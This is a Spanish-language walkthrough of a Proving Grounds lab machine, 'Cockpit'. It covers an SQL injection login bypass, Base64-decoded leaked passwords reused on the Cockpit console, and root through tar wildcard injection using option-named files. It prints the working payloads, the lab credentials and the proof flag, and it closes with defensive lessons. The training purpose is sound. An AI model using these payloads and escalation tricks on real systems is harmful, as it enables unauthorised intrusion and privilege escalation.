the_open_door
café
ESEN

Cockpit

Proving Grounds PracticeMediaLinux192.168.118.10

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#sqli#auth-bypass#base64#password-reuse#credential-disclosure#cockpit#tar#wildcard#sudo#oscp
TL;DR. Cockpit expone una web "blaze" en el 80 cuyo login es vulnerable a un bypass de autenticación por SQLi ('or 1=1-- -): tras entrar, un panel filtra dos contraseñas codificadas en Base64. Descodificadas, las credenciales de james sirven para entrar en la consola web Cockpit del puerto 9090 (reutilización de credenciales), que da una terminal como james. Ese usuario puede ejecutar tar como root con un comodín, así que una inyección de comodín en tar da root.

Reconocimiento

Escaneo inicial

El TTL de la respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.118.10
64 bytes from 192.168.118.10: icmp_seq=1 ttl=61 time=29.1 ms

Barremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.118.10
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9090/tcp open  http
nmap -p22,80,9090 -sCV 192.168.118.10 -oN targetedScan
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.41 ((Ubuntu))
|_http-title: blaze
9090/tcp open  http       Cockpit web service 198 - 220

Dos superficies web: un sitio "blaze" en el 80 y, en el 9090, Cockpit, la consola de administración de sistemas Linux (la que da el nombre a la máquina). Cockpit incluye, entre otras cosas, una terminal en el navegador, así que unas credenciales válidas ahí equivalen a una shell.

HTTP - TCP 80

Enumeramos rutas en el sitio del 80:

dirsearch -u http://192.168.118.10/ --exclude-status=403,404,503
301 - /js  ->  /js/
301 - /css ->  /css/
301 - /img ->  /img/
200 - /login.php
302 - /logout.php  ->  login.php

Hay un login.php con un formulario de acceso. Es el primer objetivo.

Acceso a credenciales

Bypass de autenticación por SQLi

El formulario de "blaze" no sanea la entrada: un payload clásico en el campo de usuario fuerza una condición siempre verdadera y comenta el resto de la consulta, sorteando la comprobación de la contraseña:

'or 1=1-- -

Login de blaze en login.php con el payload 'or 1=1-- - en el campo de usuario

El login nos deja pasar a un panel interno (password-dashboard.php) que lista usuarios y contraseñas, pero las contraseñas están codificadas en Base64:

Admin Dashboard de blaze mostrando james y cameron con sus contrasenas en Base64

james   -> Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=
cameron -> dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy

Base64 no es cifrado, solo codificación: lo descodificamos al instante:

echo -n 'Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=' | base64 -d
echo -n 'dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy' | base64 -d
canttouchhhthiss@455152
thisscanttbetouchedd@455152

Tenemos dos parejas de credenciales: james:canttouchhhthiss@455152 y cameron:thisscanttbetouchedd@455152.

Shell como james

Cockpit en el 9090: terminal en el navegador

Cockpit (puerto 9090, HTTPS) autentica contra los usuarios reales del sistema. Probamos reutilizar las credenciales filtradas: james entra, y marcamos la casilla "Reuse my password for privileged tasks" para que la sesión conserve la contraseña de cara a sudo:

Login de Cockpit (Ubuntu 20.04.6 LTS) como james con la casilla Reuse my password for privileged tasks marcada

Cockpit ofrece una terminal integrada en Terminal, que nos da ejecución de comandos como james. Lo primero, revisar el sudo:

whoami
id
sudo -l

Terminal de Cockpit como james@blaze: whoami, id y sudo -l mostrando NOPASSWD tar -czvf /tmp/backup.tar.gz *

james
uid=1000(james) gid=1000(james) groups=1000(james)
User james may run the following commands on blaze:
    (ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *

La flag de usuario está accesible en /home/james/local.txt (visible más abajo, junto a la shell que montaremos). El verdadero premio es esa entrada de sudo.

Escalada de privilegios

Inyección de comodín en sudo tar

La regla permite ejecutar tar como root con un comodín * al final. La shell expande ese * a la lista de ficheros del directorio antes de lanzar tar, de modo que cualquier fichero cuyo nombre parezca una opción de tar se interpreta como argumento. Creamos ficheros que se convierten en las opciones --checkpoint y --checkpoint-action=exec=... (inyección de comodín en tar, un caso de abuso de comodines) para que tar ejecute un script nuestro:

echo "" > "--checkpoint-action=exec=sh payload.sh"
echo "" > "--checkpoint=1"
echo "/bin/bash" > payload.sh
chmod +x payload.sh
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *

Al expandirse el comodín, tar recibe --checkpoint=1 y la acción de checkpoint: en el primer punto de control ejecuta payload.sh y, como corre como root, obtenemos una shell de root:

Inyeccion de comodin en tar: se crean los ficheros de opciones y tras sudo tar la shell pasa a root@blaze, con local.txt y payload.sh en el directorio

james@blaze:~$ echo "" > "--checkpoint-action=exec=sh payload.sh"
james@blaze:~$ echo "" > "--checkpoint=1"
james@blaze:~$ echo "/bin/bash" > payload.sh
james@blaze:~$ chmod +x payload.sh
james@blaze:~$ sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
 - checkpoint=1
 - checkpoint-action=exec=sh payload.sh
local.txt
payload.sh
root@blaze:/home/james# whoami
root

Leemos la prueba final:

cat /root/proof.txt && hostname && whoami && ip a

proof.txt leido como root en blaze, con hostname blaze y whoami root

61a96870a639d7d2817e3e00a44bb67b

Cadena de ataque

blaze web (TCP 80)  -- login.php
        │  SQLi 'or 1=1-- -  ──  password-dashboard.php
        │  Base64 -> james:canttouchhhthiss@455152
        ▼
Cockpit (TCP 9090)  -- reutilizacion de credenciales (james)
        │  terminal en el navegador
        ▼
shell como james
        │  sudo NOPASSWD /usr/bin/tar ... *  ──  wildcard injection (--checkpoint-action)
        ▼
shell como root  (proof.txt)

Lecciones aprendidas

  • Un panel de login débil es la puerta entera. El 'or 1=1-- - no es elegante, pero un formulario sin consultas parametrizadas se sortea con una sola petición. La defensa es siempre la misma: prepared statements, nunca concatenar entrada en SQL.
  • Base64 no protege nada. Guardar contraseñas "codificadas" da una falsa sensación de seguridad: es reversible al instante. Si el dato es sensible, no debe estar ahí en primer lugar.
  • La reutilización de credenciales encadena las dos superficies. Las credenciales del panel web valían para Cockpit, que autentica contra los usuarios del sistema. Credenciales por servicio habrían cortado el salto.
  • Cuidado con los comodines en sudoers. tar ... * parece inofensivo, pero la expansión de la shell convierte nombres de fichero en opciones. Fijar rutas y argumentos completos (sin *) cierra toda esta familia de abusos.
Cheatsheet de comandos 10 comandos

Repaso rápido